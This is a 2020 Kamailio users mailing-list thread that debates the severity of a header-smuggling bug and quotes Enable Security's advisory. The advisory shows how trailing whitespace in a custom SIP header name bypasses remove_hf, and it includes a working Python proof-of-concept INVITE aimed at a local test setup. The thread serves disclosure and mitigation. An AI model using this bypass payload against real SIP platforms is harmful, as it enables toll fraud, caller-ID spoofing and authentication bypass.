[SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of remove_hf

Wed Sep 2 12:53:29 CEST 2020

Hello Daniel,

thank you for highlighting this potentially very harmful bug and for suggesting a quick fix with remove_hf_re.

I can only guess that Maxim took offence with your wording here, which can be understood as downplaying the risk
>> The only security risk in my opinion

This bug is indeed a huge security risk if someone relies only on custom headers to prevent bad actors. This bug shows once again that one cannot be too paranoid and must have second and third level security. If not such bug can easily sink some small and medium sized telcos.

Will the patch will be backported to the stable rpm and debian Kamailio repos, Version 5.2 upwards, promoted here:
https://www.kamailio.org/w/download/

Cheers

Gerry

> On 2 Sep 2020, at 09:31, Daniel-Constantin Mierla <miconda at gmail.com> wrote:
> 
> Hello Maxim,
> 
> can you explain why I am downplaying the severity by my remarks? I presented where the bug is impacting, because the initial announcement sent by Sandro in different channels (not here, but other security related mailing lists) contained inaccurate information, respectively an example with P-Asserted-Identity, which was actually not affected by the bug. So I wanted to be clear is it only about the common header names.
> 
> Maybe you haven't understood the issue or what I said, that it may affect security of the platforms where custom header names are used to pass sensitive data between Kamailio and other SIP systems (but not Kamailio, since Kamailio-to-Kamailio will use same custom header name matching). None of my deployments were affected. The remark for default config file is that many deployments revolve around it and it does not use with custom header names, implying also it was not discovered by analyzing the public project, but configs specific to a private deployment.
> 
> And no worries, the issue was public from the day one, by mid of July, being discussed on our community Matrix channel (public one) when Torrey reported it based on Sandro's work and it was fixed within minutes to all maintained branches. The group of most active developers was informed, none reacted as being anything highly critical. Many other bugs were fixed meanwhile, but no security researcher spent time on them to see if there is any risk exposed. During the past years the Kamailio ecosystem had extensive collaboration with Sandro/EnableSecurity and Henning/Gilawa for security assessments and fuzzing, several reports being out based on their work. I am somehow pretty sure no other VoIP project did same level of security research during the same time interval.
> 
> Sending the announcement on this mailing list was also discussed yesterday on Matrix channel and I said that sr-users is the appropriate place to do it. Since Sandro (and his team) did the hard work on finding issues in Kamailio, was his privilege to send the announcement. As mentioned in the first paragraph, Sandro also notified on many security-related lists, but I was not asked to review the initial announcement sent to other lists, it was done without being notified. I've seen it first time on VoIPSec list, thus I discussed with Sandro about amending it to be make it clear the common headers are not affected.
> 
> Now, if you are here because you use Kamailio and have good interest in this application, then you are also part of Kamailio project, it is a community working together for mutual benefits. In other words, Kamailio project is not going to do anything special for you, but you can step forward  and propose what should be done and if found useful for the community, start doing it.
> 
> If you are here just to demand others do work for you for free, then you are in the wrong place.
> 
> Cheers,
> Daniel
> 
> On 02.09.20 06:43, Maxim Sobolev wrote:
>> Thanks Daniel for patching up the bug, however I think you are downplaying severity of the problem at hand. You see, from the point of view of outside world, kamailio is not just engine and default config. All APIs that are provided are also part of the product, especially those "core" ones. As such, security issue with any such API is affecting the whole product. People using Kamailio expect those APIs do what documentation says they do, no more no less!
>> 
>> What you are saying is basically any Kamailio installation any version under the sun except maybe dozen using default config is affected and has to be updated. My question therefore is "what Kamailio is going to do about it"? At the very least I'd expect fix to be merged into all actively maintained branches and official security advisory issued and distributed to all possible channels listing revisions and recommending upgrading ASAP.
>> 
>> -Max
>> 
>> On Tue., Sep. 1, 2020, 8:46 a.m. Daniel-Constantin Mierla, <miconda at gmail.com <mailto:miconda at gmail.com>> wrote:
>> Hello,
>> 
>> thanks Sandro for directing a lot of time and effort for stress testing
>> and fuzzing Kamailio, it really helps to increase the security and
>> stability of the application.
>> 
>> In a very short summary version, the issue was caused by a bug in
>> extracting the name of non-common standard headers (like X-My-Hdr), not
>> stripping the white spaces between the name and the following : (colon).
>> The common standard headers (like From, To, Authorization,
>> P-Asserted-Identity, ...) use a different header name parsing and there
>> is no impact in them.
>> 
>> The only security risk in my opinion is when some bad actor learns about
>> the custom header names (and their body format/content) you use to pass
>> data between Kamailio and other SIP systems in your core platform, then
>> trying to preset such headers in the SIP traffic. Of course, security is
>> affected only if you pass security sensitive data in such custom
>> headers. The default kamailio.cfg is not using any custom headers, thus
>> no impact on it.
>> 
>> The config fix for it (without any code upgrade) is replacing:
>> 
>> remove_hf("X-My-Hdr");
>> 
>> with:
>> 
>> remove_hf_re("X-My-Hdr");
>> 
>> As a funny fact, I tracked the faulty code back to at least release SER
>> v0.8.11, out 18 years ago, so it is a very long living bug.
>> 
>> Cheers,
>> Daniel
>> 
>> On 01.09.20 14:44, Sandro Gauci wrote:
>> > Dear Kamailio Users, 
>> >
>> > posting our security advisory here just in case anyone who was affected has not upgraded or mitigated the header smuggling issue.
>> >
>> > Advisory follows: 
>> >
>> > # Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
>> >
>> > - Fixed versions: Kamailio v5.4.0
>> > - Enable Security Advisory: <https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf <https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf>>
>> > - Tested vulnerable versions: 5.3.5 and earlier
>> > - Timeline:
>> >     - Report date & issue patched by Kamailio:  2020-07-16
>> >     - Kamailio rewrite for header parser (better fix): 2020-07-16 to 2020-07-23
>> >     - Kamailio release with fix: 2020-07-29
>> >     - Enable Security advisory: 2020-09-01
>> >
>> > ## Description
>> >
>> > Kamailio is often configured to remove certain special internal SIP headers from untrusted traffic to protect against header injection attacks by making use of the `remove_hf` function from the Kamailio `textops` module. These SIP headers were typically set through Kamailio which are then used downstream, e.g. by a media service based on Asterisk, to affect internal business logic decisions. During our tests and research, we noticed that the removal of these headers can be bypassed by injecting whitespace characters at the end of the header name.
>> >
>> > Note that this issue only affected header names that are __not__ defined in `src/core/parser/hf.h`.
>> >
>> > Further discussion and details of this vulnerability can be found at the Communication Breakdown blog: https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/ <https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/>.
>> >
>> > ## Impact
>> >
>> > The impact of this security bypass greatly depends on how these headers are used and processed by the affected logic. In a worst case scenarios, this vulnerability could allow toll fraud, caller-ID spoofing and authentication bypass.
>> >
>> > ## How to reproduce the issue
>> >
>> > We prepared a docker-compose environment to demonstrate a vulnerable setup which can be found at <https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf/repro <https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf/repro>>. The following python code could then be used to reproduce the issue:
>> >
>> > ```python
>> > #!/usr/bin/env python3
>> > sipmsg  = "INVITE sip:headerbypass at localhost <sip:headerbypass at localhost> SIP/2.0\r\n"
>> > sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n"
>> > sipmsg += "Max-Forwards: 70\r\n"
>> > sipmsg += "From: <sip:anon at localhost> <sip:anon at localhost>;tag=%s\r\n"
>> > sipmsg += "To: sip:whatever at whatever.local\r\n <sip:whatever at whatever.local\r\n>"
>> > sipmsg += "Call-ID: %s\r\n"
>> > sipmsg += "CSeq: 1 INVITE\r\n"
>> > sipmsg += "Contact: <sip:1000 at 127.0.0.1:48017 <http://sip:1000@127.0.0.1:48017/>;transport=udp>\r\n"
>> > sipmsg += "X-Bypass-me : lol\r\n"
>> > sipmsg += "Content-Length: 237\r\n"
>> > sipmsg += "Content-Type: application/sdp\r\n"
>> > sipmsg += "\r\n"
>> > sipmsg += "v=0\r\n"
>> > sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n"
>> > sipmsg += "s=-\r\n"
>> > sipmsg += "c=IN IP4 127.0.0.1\r\n"
>> > sipmsg += "t=0 0\r\n"
>> > sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n"
>> > sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n"
>> > sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n"
>> > sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n"
>> > sipmsg += "a=rtpmap:96 opus/8000/2\r\n"
>> > sipmsg += "a=sendrecv\r\n"
>> >
>> > target = ("127.0.0.1",5060)
>> >
>> > import socket
>> > import time
>> > from random import randint
>> > s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
>> > s.bind(("0.0.0.0",5088))
>> > r = randint(1000,9999)
>> > data = sipmsg % (r,r,r)
>> > s.sendto(data.encode("utf-8"), target)
>> > while True:
>> >     data,addr=s.recvfrom(4096)
>> >     print(data.decode("utf-8"))
>> >     time.sleep(5)
>> > ```
>> >
>> > In the case of a vulnerable version of Kamailio, Asterisk would respond with a 200 OK while in a fixed version, Asterisk would respond with a 603 Decline response. This is specific to the [dialplan](https://github.com/EnableSecurity/advisories/blob/master/ES2020-01-kamailio-remove-hf/repro/asterisk/config/extensions.conf <https://github.com/EnableSecurity/advisories/blob/master/ES2020-01-kamailio-remove-hf/repro/asterisk/config/extensions.conf>) in our example, which jumps to an internal dialplan if the `X-bypass-me` header is found.
>> >
>> > ## Solutions and recommendations
>> >
>> > The official Kamailio fix has been tested and found to sufficiently address this security flaw. We recommend making use of the latest release or backporting the fixes where possible. Making use of regular expressions to cover white-space characters with `remove_hf_re` has been suggested as mitigation for this issue for cases where the code cannot be upgraded.
>> >
>> > Enable Security would like to thank Daniel-Constantin Mierla of the Kamailio Project for the very quick response and fix within minutes of our report being made available to him, as well as Torrey Searle for reporting this issue quickly to the Kamailio team.
>> >
>> > ## About Enable Security
>> >
>> > [Enable Security](https://www.enablesecurity.com <https://www.enablesecurity.com/>) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack.
>> >
>> > ## Disclaimer
>> >
>> > The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
>> >
>> > ## Disclosure policy
>> >
>> > This report is subject to Enable Security's vulnerability disclosure policy which can be found at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>>.
>> >
>> > _______________________________________________
>> > Kamailio (SER) - Users Mailing List
>> > sr-users at lists.kamailio.org <mailto:sr-users at lists.kamailio.org>
>> > https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users <https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
>> 
>> -- 
>> Daniel-Constantin Mierla -- www.asipto.com <http://www.asipto.com/>
>> www.twitter.com/miconda <http://www.twitter.com/miconda> -- www.linkedin.com/in/miconda <http://www.linkedin.com/in/miconda>
>> Funding: https://www.paypal.me/dcmierla <https://www.paypal.me/dcmierla>
>> 
>> 
>> _______________________________________________
>> Kamailio (SER) - Users Mailing List
>> sr-users at lists.kamailio.org <mailto:sr-users at lists.kamailio.org>
>> https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users <https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
> -- 
> Daniel-Constantin Mierla -- www.asipto.com <http://www.asipto.com/>
> www.twitter.com/miconda <http://www.twitter.com/miconda> -- www.linkedin.com/in/miconda <http://www.linkedin.com/in/miconda>
> Funding: https://www.paypal.me/dcmierla <https://www.paypal.me/dcmierla>_______________________________________________
> Kamailio (SER) - Users Mailing List
> sr-users at lists.kamailio.org
> https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.kamailio.org/pipermail/sr-users/attachments/20200902/7a1fbfe5/attachment.htm>